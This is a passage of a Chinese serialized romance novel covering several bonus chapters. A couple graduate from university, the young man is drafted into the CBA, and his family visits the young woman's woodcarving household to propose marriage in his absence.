趁着女生还有些体力,两个寝室的人拍了合照,孟棠和魏川是最后拍的双人照。 彼时剩余的六个人一脸姨母笑地看着他俩。 魏川自我感觉太良好,也太爱发挥,总惹得文心予让他收着点。 偏偏魏川收敛不了一点,谢泠音在一旁吐槽:“孟棠,他都是被你惯的。” 魏川对许鹤清说:“听到没有,嫉妒了。” 许鹤清揽住谢泠音:“谁嫉妒你了。” 说说闹闹到天黑,魏川请客,去了校外的餐厅。 明天有毕业典礼,他要了些啤酒和饮料。 上菜之后,魏川说:“今晚这顿,咱们就当是毕业聚会了。” 话一出口,餐桌的氛围莫名有些伤感。 明天的毕业典礼之后,是各专业的毕业聚餐,吃完饭,喝完酒就各奔东西。 也就没有时间留给他们这一群人,李卓和梁衡也不留在z市,许鹤清跟着谢泠音去国外。 石岚回乡,杨可是本地人,家里已经帮她找好了工作,至于孟棠和魏川更是有着清晰的未来规划。 “来。”李卓举起自己的啤酒,“喝一个,大家能遇到也是缘分,以后常联系。” 能喝的不能喝的都拆了一听啤酒,意思意思抿了两口。 “我靠。”梁衡揉了揉眼睛,“我竟然想哭,咱们在一起四年,突然要分开,还真是不习惯。” “你确实应该哭。”魏川笑了声,“solo四年也不容易。” 梁衡一愣,这是内涵他当了四年的单身狗? “我艹你大爷啊魏川。”梁衡的伤感转瞬即逝,“那是老子我眼光高,知不知道众人皆醉我独醒的含金量?” 包厢内哄堂大笑,笑得梁衡一阵无语。 但石岚和杨可笑不出来,两人齐齐用额头磕桌子。 孟棠在桌下踢魏川,魏川忙抬手道歉:“我没说你们两个啊,你俩活泼可爱,会找到真爱的。” 石岚和杨可一脸生无可恋地看着他,好敷衍的夸奖。 梁衡挣扎着解释:“你们真的要相信我,男人首先要搞学业,再搞事业,什么都有了,女朋友还会远吗?” 魏川专门打击他的信心:“没事,我有事业,也有女朋友。” 魏川:“……” 其他人再次爆笑,许鹤清说:“你就别逗他了,真哭了今晚赖着你。” 魏川耸了耸肩。 孟棠生怕魏川被揍,看向谢泠音:“你们什么时候的飞机?” “三天后。”谢泠音说,“以后有机会,一定回来看你们。” 她现在有一种即将展翅高飞的兴奋,尤其是许鹤清还陪在她身边,让她少了点茫然的孤勇。 “这么快?”孟棠有些惊讶。 许鹤清说:“所有手续都办好了,也不算快吧。” 毕竟已经准备了快两年的时间,他说服父母就花了一年的时间。 他们接受他和谢泠音谈恋爱,但不接受他跟着谢泠音去国外。 这一路走来异常艰辛,其他人都看在眼里。 魏川对他俩举起啤酒:“既然这样,话就不多说了,反正咱们的情意永远不变,如果有需要,直接找我,能办的我一定办,其他人也一样。” “川哥,够意思哦,我决定原谅你刚才对我的‘侮辱’。”梁衡耍宝道。 魏川拍了下他的肩膀:“感谢您宰相肚里能撑船。” 梁衡突然安静了下来,半晌才说:“我挺喜欢z市的,可惜不能留下来。” 李卓:“别伤感了,说不定过两天你又回来了。” 梁衡一愣:“为什么?” 他自己都不知道他会回来。 李卓扬起下巴,示意他看魏川和孟棠: “川哥不是说过毕业就要和孟棠结婚嘛,咱们说不定得喝完喜酒才能走。” “我去。”魏川无语了,“你和文心予站那儿就能把婚结了?前期多少准备你不知道啊?” “我30之前大概率是不会结婚的。”李卓笑了声,“我就期待你俩了。” “真的假的?”谢泠音愣住了,“你俩真的毕业就结婚?” 孟棠还是那句话:“不排斥。” 谢泠音愣了:“你才多大啊?要不再考虑考虑?” 孟棠笑了声:“别着急,结婚还早呢。” 按照楚茵的性格,得从订婚开始,一步一步准备充足了再走。 魏川指了指他们:“你们一个个操心自己吧,生怕我娶上媳妇。” 楚茵前段时间还真跟他提过这事,初步计划是在今年年底去一趟雁清。 按照楚茵的话来说,孟棠一个人在雁清工作,得让别人都知道她名花有主了。 魏川七月份要参加CBA的选秀,在这之后,可能会和孟棠有一段异地恋的日子。 他可没忘记老头说过他老友家的孙子愿意入赘这话。 所以先订婚,对他来说是稳定军心的一件事。 不怕孟棠变心,就怕有些人像李寒津那样犯贱。 一行人聚餐聚到晚上十点,要不是明天毕业典礼,只怕还要喝。 结伴着回了学校,魏川和许鹤清将女生们送到了寝室门口。 孟棠和魏川道了别,魏川拉着她的手没松。 “怎么了?”孟棠小声地问。 魏川的指腹摩挲着她的手背:“后天就回雁清吗?” 孟棠“嗯”了声:“这段时间忙着毕业设计,回家休息两天,然后正式上岗。” “真是无缝衔接。”魏川嘀咕了句,“毕业生最快找到工作的那个人非你莫属。” 孟棠笑了笑:“你到底要说什么?” 魏川抱住她,在而耳尖上亲了口:“我争取送你回去,陪你两天。” 孟棠想要拒绝,突然想起他要选秀的事。 这一别估计又要分开一段时间,想明白了魏川的不舍,她安静了下去。 他愿意去就去吧,反正他精力足。 第212章 番外28:今年过年,来你家提亲 毕业典礼的流程,每年都差不多。 z大是上午八点师生签到入场,接着奏国歌,主持人开场,校长院长和嘉宾发言就能用去半小时。 核心环节是授予学位证书和颁发毕业证书,之后便轻松得多,毕业生代表发言致辞,收尾合影留念。 一个流程走下来,差不多到12点才结束。 晚上,z大艺体校区附近的饭点都被学生们挤满了。 孟棠在同学们的关系用一个词来形容是不远不近,和谭曦是最熟的。 两人坐在角落里,也不参与各种各样的离别话题,看班里男生们红着脸互相劝酒吹牛。 三个小时过去,酒局还没散,但大厅里的动静变小了,能喝的已经醉了。 不能喝的只能一个拖一个,将人拖回学校。 魏川来接孟棠的时候也是一身酒气。 孟棠都惊了:“你喝醉了还来找我?” “谁醉了?”魏川迷迷糊糊道,语速慢了许多,“不是说好来接你的?” 队里一位大一的队员对孟棠挠了挠头:“川哥非要来,聿哥让我送过来。” “麻烦你了。”孟棠笑了笑,“你先等我一下,待会儿还得麻烦你送他回寝室。” “好。” 孟棠无奈地捏了下魏川的脸:“别给我添麻烦,赶紧回去吧。” 魏川抱住孟棠,死死箍着:“亲一下。” “还有人呢。”孟棠轻轻挣扎了下,“再说了,你这样一直抱着我,我也亲不到你。” 魏川微微仰起头,状似思考了几秒,松开了对她的钳制。 孟棠十分敷衍地踮起脚,亲在了他下巴上:“赶紧回去吧。” 魏川有点不满,孟棠已经叫来了小学弟,让他把人弄回寝室。 好在魏川酒品不错,还算省心。 第二天不急着走,孟棠将东西全都收拾好后,才给魏川打了电话。 魏川没定闹钟,还是许鹤清将他喊醒的。 接了孟棠的电话,他迅速起床穿了衣服,洗漱后直奔女寝。 孟棠有两床被褥和两个箱子,还有大大小小的包,打算全都带回雁清,反正魏川开车送她回去,方便得很。 毕业了,和宿管说一声,男生可以进去帮女朋友搬东西。 魏川来回跑了三趟,才将孟棠的东西搬完。 要离开了,孟棠反倒舍不得了,她转头看了眼自己住了四年的房间,微微蹙起了眉。 谢泠音一把抱住她:“别看了,咱们的群又不会解散,只要我们四个在,这四年就在。” “嗯。”孟棠鼻头有些酸,她做了个深呼吸,藏起眼底泛起的泪水,转头抱住石岚和杨可,“我走了。” “去吧。”石岚拍了拍她,“常联系。” 孟棠松开两人,替杨可擦了下失禁的眼泪:“别哭了,常联系好吗?” 杨可点了点头:“嗯。” 孟棠呼出一口气,转身离开了寝室。 魏川看到孟棠眼尾的泪,心疼地抹去,小声哄道:“以后又不是不能见面了,哭什么?” 孟棠:“只是有点感慨。” “那咱俩赶紧结婚,明天就把他们全请来喝喜酒。”魏川故意逗她。 “你——” 孟棠追着去打,魏川朗声一笑,故意不让她追上,径自进了安全通道。 两人从楼上一路“打”到楼下,分别的失落被冲散得一干二净。 魏川将车开出了学校,在北门找了位置停下,带着孟棠吃了个早餐才继续赶路。 因为提前和方姐说了今天回,下午一点到家的时候,她和老爷子竟然还没吃饭。 孟棠看着满桌的菜,无奈道:“不是让你们先吃吗?” “不饿,早上吃得迟。”方姐给两人拿了筷子,“饿坏了吧,赶紧坐下吃饭。” 魏川一个劲点头:“好吃,方姐,你的手艺又精进了。” “你爱吃就行。”方姐看魏川,就像丈母娘看女婿,越看越喜欢。 老爷子等他吃差不多了,问:“这次待几天?” “后天就得走。”魏川说,“接下来还有很多事,跟您解释您也不懂,乐意的话,您就在网络上搜搜,毕竟之前也偷偷摸摸看我直播了是吧?” 孟遇春:“……” 就知道这小子没憋好屁。 孟棠对于这两人的相处模式已经习以为常,起初还能在桌下踢魏川两脚,现在已经无知无觉。 因为有时候也不是魏川一个人的错。 吃完饭,魏川拉着孟棠就要走,方姐疑惑地问了句:“你俩干什么去?” 魏川说:“我带着孟棠把附近方圆十里都转一圈,省得有些不长眼的趁我不在挖我墙角。” 方姐:“……” 孟遇春:“……” 孟棠一巴掌甩他锁骨上,魏川“嗷~~”一声皱了皱鼻子:“干什么?” “自己逛去吧。”孟棠白了他一眼,回了房间。 孟遇春幸灾乐祸地笑了声:“该。” “哼。”魏川懒得和老头计较,转头去追孟棠。 孟棠将堆积在床边的被褥和衣服一一整理好,魏川在一旁朝她伸手:“给我,我拿去给方姐洗。” 学校这些确实要洗,尤其是被子床单,她将拆下来的给了魏川,自己继续收拾。 收拾了半个小时,才将卧室恢复成原来的模样。 孟棠往床上一倒,魏川也跟着躺了下去。 两人头靠头,默契地笑了声。 魏川摸到孟棠的手,和她十指相扣:“我每天会给你打电话的,不要仗着我不在,就不好好吃饭,整天对木头入了迷,着了道。” “有方姐在,你觉得我敢不吃饭吗?”孟棠甩了下他的手。 魏川“嗯”了声:“你毕业展的时候,老爷子去了一趟z市,我爸妈跟他聊了一些我俩的事,今年过年,来你家提亲?” “好啊。”孟棠没什么犹豫就应了。 魏川松开她的手,侧过身支着脑袋,眼眸亮亮地看着孟棠,调侃道:“这么想跟我结婚?” 孟棠笑了笑,回以轻飘飘一击:“我还想跟你生孩子呢。” “……” 纯纯勾引,魏川咬了咬牙:“要不是外面有方姐和老头,我现在就给你办了。” 孟棠就是拿捏住了这点了,才敢肆无忌惮。 不然每次都让魏川占她口头便宜,偶尔赢回来一次,也算情趣。 魏川低头狠狠亲了下她的脸颊:“今年我二姐也回来,到时候介绍给你认识。” “真的?”孟棠一下来了兴趣,扭过头看着魏川。 魏川一愣:“你怎么这么激动?” 孟棠说:“没见过,很好奇。” 她对这位家境优渥去当兵的魏思琳很好奇。 “等今年年底,我们全家过来雁清,到时候你就见到了。” “嗯。”孟棠闭上眼睛,“睡会儿吧。” 现在不到七月,天气也不太热,魏川闭上眼睛,没一会儿牵着孟棠睡着了。 方姐进来给他俩拿了条薄毯盖上了肚子。 夕阳西斜,这两人才醒过来。 迷迷糊糊吃了点方姐切好的水果,两人幼稚地转动脚尖,你一脚我一脚地互相纠缠嬉闹。 在雁清哪怕只待一天,时间仿佛慢了许多。 魏川特别喜欢在雁清的日子,等他这几年打出名气,开了公司后,就守着孟棠在这里悠闲地过日子,想想都美。 只是此刻要醒一醒,因为他要走了。 “记得想我。”魏川在孟棠脸颊上亲了下,“走了。” “送你到门口。” “好。”魏川和她一起往外走,“这座宅子有些旧了,以后常住的话,还是要翻新一下,等我回去,让我妈给你找装修团队。” “不用吧?”孟棠一愣,“就算要翻修,我也可以自己来。” “想要累死啊?”魏川捏了下她的指尖,“宅子确实有点旧了,我都给你想好了,右边邻居常年不在家,可以谈一下先住他们家,钱给到位就行,你自己翻修是忙不过来的,老爷子年纪也大了,方姐也不懂这方面的知识,你要上班的话,让老爷子盯着翻修,他审美好,知道怎么翻修你会喜欢。” “没逼你现在就答应我,你回去和老爷子商量一下,他只管监督就行,什么都不用你们操心。” 孟棠蹙眉:“翻修需要很多钱。” “又来。”魏川有些不高兴,“我难道不知道要花很多钱吗?那我和你说这些话的意义是什么?” 孟棠:“……你先走吧,我跟爷爷商量商量。” “这还差不多,走了,别送了,回去吧。” 孟棠在原地站了会儿,转身回了院中,当即就和孟遇春说了这事。 孟遇春摆了摆手:“不用,装修团队最坑人,别把我这座老宅给修坏了,去年开始,我就委托东麓那边出了一批木雕家具和装饰,过些天会一一送过来。” 孟棠错愕:“您也打算翻修啊?” 真是未卜先知。 孟遇春笑了声:“年底有大事办,家里不能太寒碜,明天先搬到前院,从最后面开始检查修复。” 这座宅子当时可是花了大价钱,内里没什么问题,只有外部经过风雨腐蚀,可能会有一些门窗破损、装饰陈旧、瓦片老化的问题,换了就好。 大半年的时间呢,天天盯着,年底魏家人上门来,定然是焕然一新了,他们全家过来都能住得下。 第213章 番外29:该办的事还得办 魏川离开的第三天,孟棠去了非遗馆上班。 适应了半个月,她基本和馆内的人熟识了,大家各司其职又目标一致,一切都是为了给黄杨木雕搭建一个更大的舞台。 早上八点半,孟棠一身素雅棉麻工作服,进了雁清馆内的员工通道。 老木香隐隐在空气中浮沉,宁静雅致,和屋外各种交通工具,人声喧杂的世界形成了鲜明的对比。 孟棠的工作室在二楼临窗的位置,门楣上挂着一块木牌匾,是孟遇春提笔的“黄杨木雕工作室”。 这个工作室并不是封闭的,是个展示窗口,游客们上了二楼,可以隔着玻璃幕墙看清孟棠工作的全过程。 既然要传承,当然要宣扬,与其自己去说,不如让游客们来看。 每年也有不少传统手工艺的博主来此打卡。 孟棠拿了挂着的鸡毛掸子,将工作区的细微灰尘扫去,又用软布细细擦了一遍。 每天都是这样的步骤,孟棠一点不嫌枯燥,甚至乐在其中。 正值暑假,今天有学校的小朋友过来研学体验,一切就绪后,孟棠将数十把大大小小的刻刀摆放齐整,拿了打磨好粗坯的料子开始干活。 非遗馆是周一全天闭馆,这天大家都可以休息,其余时间和节假日都会开放。 毕竟只有这个时间段人流量大一些,周二到周日就是轮休了。 馆内九点半放开后,游客们陆续进了馆,打破了木屑下的安静。 孟棠心无旁骛,专注于手头的活计,借用腕力推刀。 不少人停在了二楼的平台上,从窗口看她。 晨光被挡了大半,孟棠抬眸,对着窗外的人浅浅一笑。 不少人对着她拿出了手机,孟棠迅速将视线放低,只让她们拍到自己的头顶。 倒不是不能拍,只是直面别人的镜头有点尴尬。 “你别低头啊,我们拍一下。” 孟棠僵硬了一瞬,噙着营业的笑缓缓抬起头。 “小姑娘,你雕刻的是什么?” 孟棠充当讲解员,给他们解释了一遍自己雕刻的是什么。 也就这个时候,她的同事们能听到孟棠多说话。 平日里温温柔柔,除了打招呼和公事外,一句话都没有。 偏偏馆内不少人还挺乐意往她身边凑,一来孟棠漂亮,在晨光中持刀浅雕的模样,一般人忘不了。 二来她虽然年轻,但技艺好;三自然就是因为孟遇春的缘故。 今天她的工作就是向游客们展示技艺,和他们互动,介绍黄杨木雕的文化。 一天下来,其实说的比做的多。 五点闭馆后,孟棠终于安静地做了两个小时的活。 晚上七点,她回到了老宅。 后院已经陆续修补,工匠们下班后,孟遇春会打灯检查一遍。 要不是年纪大了,他自己就能拾掇清楚。 方姐在厨房喊了声:“赶紧吃饭了,都七点了。” 孟棠帮着方姐端菜,没忍住又说了句:“都说了让你们先吃,怎么又等我?” 方姐开始忘本:“才七点,急什么。” 孟棠笑了声:“你把饭留着,我回来吃一样的,你和爷爷年纪大了,早点吃比较好,省得晚上睡觉难受。” 老爷子这两天是有点不舒服,方姐想了想,说:“我待会儿跟老爷子说,反正你什么时候回来都有饭吃的。” “好。” 用过晚饭,孟棠在院里转了半小时才去洗了澡。 时间还早,她在等魏川的电话,今晚是约定好的时间。 孟棠闲情逸致地翻了会儿闲书,九点左右,手机响了。 她抬手拿起枕边的手机,开了免提。 “睡觉了吗?”魏川在手机那头问。 孟棠轻笑一声:“没呢,今天不这么累,接待了一波研学体验的学生。” “小孩啊?”魏川说,“小孩最烦人了。” 孟棠:“……你给我打电话就是想和我说这个?” “没有。”魏川撒娇,“我想你呗,想多跟你唠唠有的没的。” “……” 小孩简直无妄之灾。 孟棠失笑:“选秀什么时候开始啊?” 魏川:“快了,材料已经提交了,名也报了,过两天会公布选秀资格的名单,我现在整天除了训练还是训练。” “时间挺紧凑的。”孟棠说,“加油。” “当然会加油了,等着我好消息吧。”魏川起身,再次拿起球,“又得训练去了,挂了吧。” 孟棠默契十足地挂了电话。 日子按部就班地走,果然如魏川所说,三天后,中篮联宣布了选秀人员。 魏川前往指定城市参加由CBA联盟组织的联合试训。 联合试训除了身体和体能数据,最重要的就是技巧挑战和分组对抗赛的成绩,期间所有队伍都会派代表过来观摩。 之后,魏川像消失了似的。 孟棠查了选秀的相关流程,知道魏川去了各个俱乐部单独试训了。 他的经纪人根据球队意向安排魏川的行程,每到一个队伍,就得接受这个队教练组的全面考察。 魏川需要专心,孟棠也从不是一定要男朋友每天跟她报备的人。 因为魏川一旦有点时间,根本忍不住不跟她联系,每天抠出来的一点时间,还会在共享相册里分享他的日常。 七月底的周六,选秀大会正式定了下来。 周六馆内游客多,孟棠走不了,只能晚上回去再补直播。 临近下班,馆里那个长得还不错的学员又来请教了孟棠。 孟棠难得在五点准时停了手里的活,婉拒了学员的请教。 宣传推广的大姐一听,笑着问孟棠:“难得你这么早下班。” 孟棠笑了笑:“我男朋友今天有比赛,我回去看。” 工作室里的人全都停了手里的活,看了过去。 “你有男朋友啊?”有人问。 孟棠点了点头:“谈了两年多了。” “在大学里就谈了啊?哪儿的人啊?” 孟棠回:“是在大学谈的,z市人。” 学员一听,顿时萎靡了下去。 “我们还以为你没有男朋友呢。” 主要是孟棠看着清心寡欲的,上班也从来不看手机,更是没看见过有人来接她下班。 毕竟才来个把月,他们也不好意思问人家的私事。 孟棠笑了笑:“一直都有的。” “你说的比赛是什么?我回去也看看。” 孟棠说:“CBA的选秀,他叫魏川,27号。” 说完,孟棠就离开了,独留她的同事们上网去搜索魏川的比赛。 回到家后,孟棠没急着看直播回放,吃过饭后,和孟遇春去了北院,探讨了一些工作问题。 两人聊起来也是没完没了。 十点多上了床,她才趴在床上将魏川的直播补完了。 结果很好,魏川被拥有第二顺位选择权的华羲队收了,好消息是这个队伍就在z市,他不用去别的城市训练生活。 当然,前期魏立峰的投资在其中也起到了一定的作用。 然后更不好的消息是:魏川彻底“失踪”了。 选秀后的72小时之内会签署新秀合同,魏川有经纪人,自然由他出面和队伍的总经理谈。 按照他的顺位,年薪40万是有的,不过是税前。 各种手续办下来后,魏川又马不停蹄做了入队体检和CBA联盟的正式注册,以此获得代表华羲队出战CBA比赛的官方资格。 由于他在本地,安顿倒是不费事了,只需要熟悉基地环境,领取球队装备后直接进入了常规赛的集训。 而十月上旬的季前赛,是年轻球员展现实力的最好的机会。 因为只是常规赛之前的一场热身赛而已,是各个球队之间的一场非正式比赛,也算检验魏川和各位新援三个月的训练成果。 天气逐渐冷下来,孟棠换上了厚衣服。 老宅的外部修修补补差不多了,估计在元旦节之前能完工。 这段时间,两人联系得断断续续,得知魏川过年只放两天的时候,孟棠差点两眼一黑。 那不就是除夕和大年初一两天嘛?孟棠给魏川发了信息过去。 魏川过了很久才回:【球队是个整体,教练说了,新秀就是结婚,也不准假。】 孟棠理解了,不然的话,“不职业”“分心”这种负面印象会一直裹着魏川。 可今年说了过来提亲的,他人都不在,怎么提? 而且这件事在十月的时候,已经落实到两家。 魏川又因为训练说得模棱两可,孟棠再问,他也没回复。 他是不是在暗示自己,跟老爷子主动说说这事,看能不能推后? 越想,孟棠越觉得是这样。 终于在某天下班后,孟棠下定了决心要跟老爷子说这件事情。 刚踏进家门,楚茵的电话打了过来。 孟棠赶紧接了起来:“阿姨。 “嗯。”楚茵温和地应了声,“最近有没有跟小川联系啊?” 孟棠实话实说:“有,但断断续续的,看得出来,他很忙。” 楚茵叹了声气:“家里都没收到过他一个电话,好在你叔叔这边能了解他的情况,你不用担心,能吃能睡的,相比学生时候的比赛,他现在已经是个职业运动员了,忙一点是正常的。” “我明白的,阿姨。”孟棠还真没多想。 楚茵说:“是这样的,我跟你叔叔商量了一下,魏川不在,但咱们该办的事还得办。” 孟棠一愣,主人公不在,这怎么办? 第214章 番外30:一切以你意愿为主 孟家,餐厅。 孟遇春敲了下桌子,提醒孟棠:“吃饭发什么呆?” 孟棠回过神,下意识说:“魏川今年可能有点忙。” “我又不是第一天知道他忙。”孟遇春说,“你怎么突然说起这个?” 孟棠放下筷子,将楚茵刚才给她打电话的事说了一遍。 “他们的意思是一切按照计划来,可魏川不在家,怎么按照计划来?” 孟遇春失笑:“我还以为什么事,搁以前来说,重要的日子他不在,确实要被揍,但时代不同了,只要他家里人有诚意,他在不在也无所谓。” 孟棠:“……还可以这样?不会结婚的时候也不在吧?” “这孩子。”方姐没忍住笑了声,“结婚怎么可能不在?那你跟谁结?” “提亲这事,他不在不成问题,这事本来就是他家长辈来办,你俩一句话也插不上。” “眼下小魏忙成这样,过年都没两天假,推到明年后年还不是一样。” “我看早早定下来没坏处。” 你一句我一句,孟棠就这么被说动了。 魏家打算在魏川生日那天登门拜访。 魏思沅回了家,看着满柜子的礼品,愣了下。 楚茵无语地问:“你盯什么呢?” “东西这么少啊?”魏思沅无语地吐槽。 楚茵“啧”了声:“这是两家人商量好的,老爷子特地交代要低调,再说了,我准备的这些烟酒茶叶、珍稀补品,有的都买不到,最重要的是彩礼好嘛。” 魏思沅勾了勾唇:“打算给多少啊?” “给多少也不关你事。”楚茵白了她一眼,“你弟弟早就跟我说过了,不能少,你以为孟棠家什么都没有啊?上次你奶奶做寿,人家随手就是一个十几万的真品,彩礼要是少了,丢的是你弟弟的脸。” 魏思沅呵笑一声:“我是真没想到,咱家最早结婚的会是魏川。” “你弟弟比你们仨都懂事。”楚茵偏帮了一句,“你们姐妹仨,一个比一个会气人。” 这话倒也不假,魏思沅讨好地给楚茵捶了捶肩:“妈咪呀,二姐什么时候回来啊,我好想她嘞。” “当兵后最长的一个假期,要到年后才能走。”楚茵想起二闺女,眼神都柔和了下来,“到时候她整天给你过肩摔,你就不想她了。” 魏思沅搞怪:“她舍得吗?” 楚茵哼了声:“行了行了,赶紧松开我,我要去一趟珠宝店,定制的五金好了。” 魏思沅无聊,赖着楚茵一起出了门。 天气越来越冷,孟棠在圣诞之前,生了一场病。 好在有方姐尽心尽力地照顾,几天就痊愈了。 再过两天,魏家人会过来,病容相待不太好。 圣诞节前一夜,九点多,孟棠在手机里给魏川编辑生日短信。 编到一半,微信视频响了起来。 孟棠一愣,半晌才接通。 魏川的俊脸出现在屏幕里,眼睛依旧亮晶晶的,只是眉眼间略显疲惫,头发了短了点,人瘦了点。 孟棠撇了撇嘴,完全是下意识的行为。 “怎么了?”魏川心脏一紧,“想我了?” 孟棠移开镜头,闭上眼睛,指腹按住眼皮缓了许久,只是眼眶有眼泪打湿的痕迹。 镜头重新对准,她朝魏川笑了笑:“今晚怎么有时间?” 魏川哀嚎:“这个教练太恐怖了,别人好歹有休息的碎片化时间,我们新人完全话语权,数据好得到的机会。” 孟棠笑了声:“你说咱俩离不离谱?明天是你生日,你家还要上门提亲,主人公却不在。” “对不起宝宝。”魏川赶紧认错,“过年回去一定好好抱抱你。” 两天而已,孟棠想到这事就想皱眉。 为了不让魏川担心,她故作坚强,说了句“没事”。 魏川快要心疼死了,小声哄道:“刚开始,以后会越来越好的,我给你写了封信,明天爸妈会带给你。” 孟棠被转移了注意力:“信?你写信干什么?” “给你道歉呗。”魏川笑道,“你明天看见就知道了,本来想给你留个惊喜,但你一哭我就没办法了,先说出来转移一下注意力。” “不会是情书吧?”孟棠嗡声道。 魏川笑道:“你就当是情书吧,而且,我二姐已经回来了,你明天就能见到。” “不行不行,”孟棠忽然低低喊了声,“我怎么有点紧张呢?” “别紧张。”魏川说,“二姐又不吃人,她很好的。” “我知道,但不妨碍我紧张。” 要是魏川在就好了,不过这话也就是在心里说说。 魏川时间有限,十来分钟,视频就挂断了。 孟棠赶紧睡觉,生怕明早起来有黑眼圈。 翌日一早,方姐就开始在厨房里捣鼓,魏家人十点左右登门,最起码得有像样的茶点招待。 不是她吹,酒店做的不一定有她的好。 吃过早餐,孟棠化了个淡妆,换了套新衣服。 上午九点五十八分,孟家大宅门口停了两辆黑车,一辆商务车,一辆迈巴赫。 老太太是第一个被扶下来的,孟棠赶紧迎了上去,她一直都跟着魏川叫奶奶的。 老太太仰头看了眼大门,一直住这样古色古香的地方,怪不得孟棠一身文气。 两方互相打了招呼,方姐热情地将人往宅子里请。 司机跟在后面,一趟又一趟将定亲礼拎进去。 小辈们都在后头,魏思沅往前跳跳蹦蹦了两步,给孟棠介绍了魏思琳。 孟棠转眼瞥去,倏地愣了下,魏川的二姐,长得也太萌了。 但眼神透着平静的锐利,及耳短发也中和了她的萌感。 魏思琳朝孟棠笑了笑:“第一次见,跟我想象中的样子差不多。” 孟棠勾起一抹浅笑:“琳琳姐。” “嗯,走吧,咱落后了。” 进了院中,方姐已经把人招待上了,孟棠在老爷子身边坐下,安静地听两方闲聊。 哪知一直在聊这座院子,没聊到正题。 魏思琳直来直往,问孟棠:“空气里是什么味道?淡淡的,很好闻。” 孟棠说:“是木香,混着天然蜂蜡和清漆的味道。” 屋内家具都是新换的,是干燥清澈,带着甜味的木香,这种香味不刺鼻,更像是历经岁月沉淀下来的温和香。 “保养家具的是天然蜂蜡,就像香水的中调。”孟棠继续解释,“比较温和,带着蜂蜜和花粉的暖香;清漆就是天然的树脂漆味,它的味道最弱,因为家具都是新换的,才有这种味道。” 老太太微微颔首:“味道挺独特的,很安静。” 魏思琳稀奇地转头看了眼,大到窗户、博古架和屏风,小到灯罩、纸巾盒都是木头做的。 魏思琳开了眼界,明知故问:“都是雕刻的?” 孟棠点了点头:“爷爷从东麓定制的,其他一些小件是我刻着玩的。” 魏思琳“哇”了声,太漂亮了,尤其是一座微缩木雕的摆件。 楚茵清了清嗓子,示意魏思琳别问了,然后正式说明来意。 魏川没来,她自然要为此道歉。 两方早已心知肚明这件事,老爷子也不会计较。 魏立峰对孟遇春说:“遇到孟棠这么优秀的孩子,是我们小川幸运,今天他没能过来,实在不该,只是考虑到以后两人的职业发展,推迟也没什么意义,还是要感谢您的大度。” 孟遇春摆了摆手:“场面话我也不会说,魏川这孩子呢,我一直都看在眼里,他很适合我家孟棠,我看人很少出错,只要他俩未来都好,咱们做家长的,也就没必要计较那么多。” “确实是这个理。”魏立峰说,“所以今天我们也是带着诚意过来的,孟棠以后嫁给魏川依旧是自由的,她想长居雁清,我们也没什么意见,毕竟做的事也挺光荣。” 孟遇春微微颔首:“感谢体谅。” 要不是孟棠有这门手艺在,他不至于让她留在雁清。 但选择了这条路,势必要付出些什么。 孟棠是幸运的,她遇到了极为包容的魏川,他的支持就是她最大的底气。 魏川爱到心间,家里人自然跟着爱屋及乌。 话谈得差不多了,楚茵抵了抵魏立峰,魏立峰笑了声,让魏思琳把提亲的礼全都摆上木桌茶几。 所有东西全都是双数的,孟棠看到定制款的五金都愣了,完全可以当全家宝了。 她看向孟遇春,孟遇春点了点头。 楚茵又将一张红包递了过去:“这是彩礼。” 薄薄一张,里面是一张卡,还是以孟棠身份证开户的卡。 茶盏碰撞间,魏立峰问孟棠:“小川忙着训练,托我问问你关于订婚宴的事。” 孟棠沉默了一瞬,说:“能跳过这个步骤吗?” 楚茵一愣:“为什么跳过这个步骤?” 孟棠指了指桌上的一堆诚意:“我感觉今天已经订婚了,我跟他都很忙,订婚宴不亚于婚礼的繁忙,我想给我们自己留点时间。” 楚茵有些犹豫,魏思嘉开口了:“这样也行,别等到订婚宴,魏川又没空。” 魏思沅:“我尊重孟棠想法。” 这话要是男方提,是礼数缺失,可偏偏是孟棠提了出来,楚茵还真说不了什么。 提亲当天反驳未来儿媳妇吗?而且他们这样的家庭,订婚宴确实繁琐。 如今孟棠和魏川异地,倒是一个理由。 魏立峰将怀中的信抽出来,递给了孟棠,说:“魏川说一切以你意愿为主,不过你可以随时反悔。” 孟棠接过信件,看着粉红色信封久久无言。 这审美…… 第215章 番外31:当然是去见我女朋友 孟棠没收过那么长的信,整整三千多字。 当然不是她统计的,某人在第一页最下面标注了字数,提醒她全文过长,慢慢看。 全篇看下来,孟棠只觉得心口酸涩。 没有华丽的辞藻,只有异地的絮絮叨叨。 一页一页翻下去,字迹却越来越工整。 感觉他无比珍重的态度,孟棠轻笑一声,翻到最后一页: 前面都是我写的废话,到这里,我已经有点熬不住了。 我想回雁清,我更想你。 等我回去! 最后一页只有三句话,确实一整封信的浓缩。 孟棠拿出手机,编辑了“我也想你”发送给了魏川。 中午,在雁清最大的一个酒店里,两家人正式地吃了第一次饭。 好不容易来一次雁清,孟遇春自然要留人,但老太太年纪大了,魏立峰也比较忙碌,和楚茵、魏思嘉在下午回了z市。 魏思琳没走,魏思沅有样学样,也留了下来。 这下乐坏了方姐,这大宅本来就大,又安静,人多一点才热闹。 魏思琳见孟遇春去后院劈柴,直接夺过了人家的斧头:“我来。” 孟遇春被她搞得一愣:“你不会。” 魏思嘉一斧子劈下去,木屑横飞,七零八落。 孟遇春默默背着手走了。 魏思琳跟永动机似的,劈了柴又开始码得整整齐齐,孟棠看到的时候都惊呆了。 “怎么样?”魏思琳拍了拍手,“我力气不错吧?” 孟棠有些不好意思:“怎么让你劈柴了?” “这里就我力气大,我不干谁干?”魏思琳理直气壮,“我去找方姐要点东西吃。” 方姐早就准备好了,还配了茶水,魏思琳翘着二郎腿说:“没有别的甜的了?不爱喝这个。” 方姐自觉失策:“等一下啊,我给你做个简易版的姜薯甜汤。” “行。”魏思琳拿了一块糕点扔进嘴里。 孟棠可太喜欢她这副不拘小节的模样了,很有意思的一个人。 “二姐,你也注意点吃相。”魏思沅吐槽了一句,“这又不是自家。” 魏思琳“啧”了声:“我在丛林里吃蛇吃虫都没这么讲究。” “啊——”魏思沅赶紧捂上耳朵,“我可不听啊。” 魏思琳笑着凑过去,吓唬她:“先抓住,再去头,然后放血……” “你闭嘴啊。”魏思沅一把捂住魏思琳的嘴巴,俩大眼珠子提溜转了一圈后,又嫌弃地松开了。 她二姐的嘴巴吃过蛇,魏思沅浑身刺挠地去洗了手,魏思琳在她身后笑个不停。 孟棠被这姐妹俩逗笑了,性格迥异又莫名和谐。 魏思琳捉弄完魏思沅,问孟棠:“我明天可以跟你去工作的地方看看吗?” 